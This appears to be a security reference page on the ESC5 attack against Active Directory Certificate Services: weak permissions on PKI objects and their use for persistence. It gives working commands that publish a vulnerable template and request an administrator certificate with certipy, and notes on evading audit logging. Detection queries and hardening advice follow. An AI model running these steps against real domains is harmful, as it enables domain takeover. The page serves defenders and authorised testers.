How it works
Active Directory Certificate Services keeps its configuration in the forest's configuration partition, under CN=Public Key Services,CN=Services,CN=Configuration. Templates are only one part of it. ESC5 covers everything else: any PKI object whose access control lets a non-administrator change how certificates are issued or trusted.
| Object | What write access gives |
|---|---|
CA object under CN=Enrollment Services (class pKIEnrollmentService) |
The certificateTemplates attribute lists the templates the CA issues. Writing it publishes a template that was never meant to be available |
CN=Certificate Templates container |
CreateChild allows a new template object. It still has to be published |
CN=NTAuthCertificates |
Holds the CA certificates trusted for domain sign-in. Adding a CA certificate makes a rogue CA's certificates valid for logon |
CN=Certification Authorities, CN=AIA, CN=CDP |
Root trust and the published locations for CA certificates and revocation lists |
| CA server computer object | Control of the account leads to code execution on the CA host, for example through resource-based constrained delegation, and from there to the CA's private key |
| CA server RPC/DCOM administration | Remote changes to CA configuration |
Control of a container matters as much as control of the object. A WriteDacl or GenericAll ACE on CN=Public Key Services that is inherited by descendants gives all of the above at once.
ESC4 is the same idea applied to a single template, and ESC7 covers the roles in the CA's own security descriptor. The three are usually found together.
Persistence through PKI object ACEs
The reverse use is persistence, listed as DPERSIST3 in the Certified Pre-Owned research. An attacker who has already compromised the domain adds WriteOwner, WriteDacl or GenericAll ACEs for an account they control to the CA's computer object, the enrollment service object, the NTAuth store or the Public Key Services container. After defenders remove the original misconfiguration, the ACE lets the attacker bring it back: publish a vulnerable template again, or add a rogue issuer again.
Prerequisites
- A domain account with a write right on one of the objects above, directly, through a group or through inheritance.
- For the template publication path: a template that is exploitable but not published (or one the attacker can make exploitable), and the right to request certificates from the CA.
- For the CA computer object path: the conditions of the follow-on attack, such as RBCD.
- Network access to a domain controller. The configuration partition can be written on any domain controller in the forest.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Review PKI object access control
Certify lists the PKI objects and the principals that control them:
Certify.exe enum-pkiobjects
Certify.exe enum-pkiobjects --show-admins
The same review with the ActiveDirectory module, for every object in the subtree:
$configNC = (Get-ADRootDSE).ConfigurationNamingContext
$pki = "CN=Public Key Services,CN=Services,$configNC"
Get-ADObject -SearchBase $pki -LDAPFilter "(objectClass=*)" -Properties nTSecurityDescriptor |
ForEach-Object {
$acl = Get-Acl -Path "AD:$($_.DistinguishedName)"
[pscustomobject]@{
Object = $_.DistinguishedName
Owner = $acl.Owner
Writes = ($acl.Access | Where-Object {
$_.AccessControlType -eq 'Allow' -and
$_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|WriteProperty|CreateChild'
} | ForEach-Object { "$($_.IdentityReference):$($_.ActiveDirectoryRights)" }) -join '; '
}
} | Where-Object { $_.Writes } | Format-List
Or with dsacls for one object:
dsacls "CN=CORP-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=example,DC=com" /A
dsacls "CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=example,DC=com" /A
Look for any principal outside Enterprise Admins, the root domain's administrators and the CA's own computer account.
2. Publish a template through certificateTemplates
With WriteProperty on the CA's enrollment service object, add a template to the list the CA issues. The value is the template's common name as a string, not its distinguished name:
$configNC = (Get-ADRootDSE).ConfigurationNamingContext
$enrollmentService = "CN=CORP-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,$configNC"
# Templates the CA publishes now
Get-ADObject -Identity $enrollmentService -Properties certificateTemplates |
Select-Object -ExpandProperty certificateTemplates
# Publish one more
Set-ADObject -Identity $enrollmentService -Add @{ certificateTemplates = 'OldVulnTemplate' }
Publishing does not grant Enroll and does not remove approval requirements. The template must already be exploitable by the attacker.
3. Request a certificate from the published template
If the template lets the enrollee supply the subject, the request is the ESC1 request:
certipy req -u 'alice@corp.example.com' -p '<password>' \
-dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -template 'OldVulnTemplate' \
-upn 'administrator@corp.example.com' \
-sid 'S-1-5-21-1004336348-1177238915-682003330-500'
certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10
4. Remove the template from the list
Set-ADObject -Identity $enrollmentService -Remove @{ certificateTemplates = 'OldVulnTemplate' }
Other paths
- NTAuth store or CA containers. Adding a CA certificate to
NTAuthCertificatesand the root store makes certificates signed by the attacker's own CA valid for sign-in. See rogue CA in the NTAuth store. - CA computer object. Control of the CA server's computer account leads to administrator access on the CA host and to the CA private key, which allows forging certificates offline. See golden certificate.
- Planting persistence. Adding an ACE with
Set-Aclordsaclson any of these objects, for an account the attacker keeps.
Impact
Every path ends in the same place: the attacker decides which certificates the forest issues or trusts. Publishing a vulnerable template gives a logon certificate for any account, which is privilege escalation to Domain Admin. A rogue CA in the NTAuth store, or the CA's private key, gives the ability to mint such certificates at will, outside the CA's database and beyond the reach of revocation.
Because the configuration partition is shared by the forest, the impact is not limited to one domain. An attacker with control of a child domain can use these objects to reach the forest root.
OPSEC and artifacts
- A single attribute write. Publishing a template is one LDAP modification of
certificateTemplates, and an operator removes the value again after the certificate is issued. With Directory Service Changes auditing and a SACL on the object, each write is one event 5136 on the domain controller that received it, with the acting account, the object and the template name added or removed. - Writing on a quiet domain controller. The change can be made on any domain controller, including one in a child domain, and replicates from there. Event 5136 is logged only where the change originated, so collection from a subset of domain controllers misses it.
- Templates that already exist. Publishing an old, forgotten template avoids creating a new object. A new template or CA object would add event 5137.
- The CA still records the request. Event 4887 and the CA database show a certificate issued from a template that isn't on the approved list. With template load auditing on, event 4898 shows the CA loading that template.
- ACL changes. A planted ACE is one 5136 for
nTSecurityDescriptor. After that the ACE is silent until used, and is found only by comparing owners and DACLs against a baseline. - CA host paths. Access to the CA server through its computer account leaves the logon and delegation traces of that technique, and a CA key backup or export writes its own events on the CA server.
Detection
- Changes to the list of issued templates. Alert on 5136 where the object is under
CN=Enrollment Servicesand the attribute iscertificateTemplates. Legitimate changes are rare and made from the Certification Authority console by PKI administrators. - Changes to trust objects. The NTAuth store and PKI trust object rules cover CA certificates written to
NTAuthCertificatesand CA objects, and new objects created under Public Key Services. - Security descriptor changes on any object under Public Key Services: 5136 with
nTSecurityDescriptor. For templates, see the certificate template modification rules. - Object access. With Directory Service Access auditing and a SACL, event 4662 records operations on the CA and container objects.
- Issuance from an unexpected template. A 4887 whose template is not on the CA's approved list.
- CA key access. The CA private key export rules cover the end of the CA host path.
// Changes to published templates, PKI trust objects and their permissions
WindowsEvent
| where EventID == 5136 and Provider == "Microsoft-Windows-Security-Auditing"
| extend ObjectDN = tostring(EventData.ObjectDN),
AttributeName = tostring(EventData.AttributeLDAPDisplayName),
Actor = tostring(EventData.SubjectUserName),
Value = tostring(EventData.AttributeValue),
Operation = tostring(EventData.OperationType)
| where ObjectDN contains "CN=Public Key Services,CN=Services,CN=Configuration"
| where AttributeName in~ ("certificateTemplates", "cACertificate", "nTSecurityDescriptor")
| project TimeGenerated, Computer, Actor, ObjectDN, AttributeName, Value, Operation
| order by TimeGenerated desc
Event 5136 is written only when a SACL covers the object. Add an audit entry on CN=Public Key Services that applies to descendants, and collect from every domain controller in the forest, child domains included.
Mitigation
- Limit write access on the whole Public Key Services subtree to Enterprise Admins, the root domain's administrators and a dedicated PKI administration group. Remove ACEs for help desk, server and application teams, and check inheritance from
CN=ServicesandCN=Configuration. - Treat the CA server as Tier 0. Its computer object belongs in a protected OU with the same controls as domain controllers: no delegated administration, no write access for non-Tier 0 principals, restricted logon. Keeping this to least privilege closes the host path.
- Fix owners. Objects created by a delegated administrator keep that account as owner. Set the owner to Enterprise Admins.
- Delete templates you don't use, not only unpublish them, so that write access to
certificateTemplateshas nothing dangerous to publish. - Baseline and compare the DACL and owner of every object under Public Key Services, the
certificateTemplateslist of every CA and the contents of the NTAuth store. Over-broad ACLs here are one of the common Active Directory misconfigurations, and a scheduled comparison is the way to find a persistence ACE. - Treat every domain in the forest as part of the PKI's trust boundary. A compromised child domain can write to the configuration partition.
- Audit. Enable Audit Directory Service Changes on all domain controllers and add the SACL described above; the Active Directory audit policy guide shows the policy settings.
- Put AD CS in the hardening plan. The CA, its templates and its administrators are Tier 0; the Active Directory hardening guide places the AD CS review among the Tier 0 controls.
Detection rules for this attack
Log events to collect
FAQ
Which objects does ESC5 cover?
The CA server's computer object, the CA server's RPC and DCOM administration surface, and every object below CN=Public Key Services in the configuration partition except individual templates: the Certificate Templates container, the Certification Authorities container, the Enrollment Services container and its CA objects, and the NTAuthCertificates object.
Do Certipy or Certify exploit ESC5?
Not directly. Certify lists PKI objects and their access control with enum-pkiobjects, and Certipy does not check these objects at all. The change itself is an ordinary directory write made with Set-ADObject, Set-Acl, ADSI Edit or any LDAP client. The tools come back in for the next step, such as requesting a certificate from a template the attacker has just published.
Why does ESC5 matter in a multi-domain forest?
PKI objects live in the configuration partition, which is shared by the whole forest and replicated to every domain controller. SpecterOps showed that an attacker who controls a child domain can write to these objects from a child domain controller and use AD CS to compromise the forest root, so a child domain is not a boundary for the PKI.
References
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.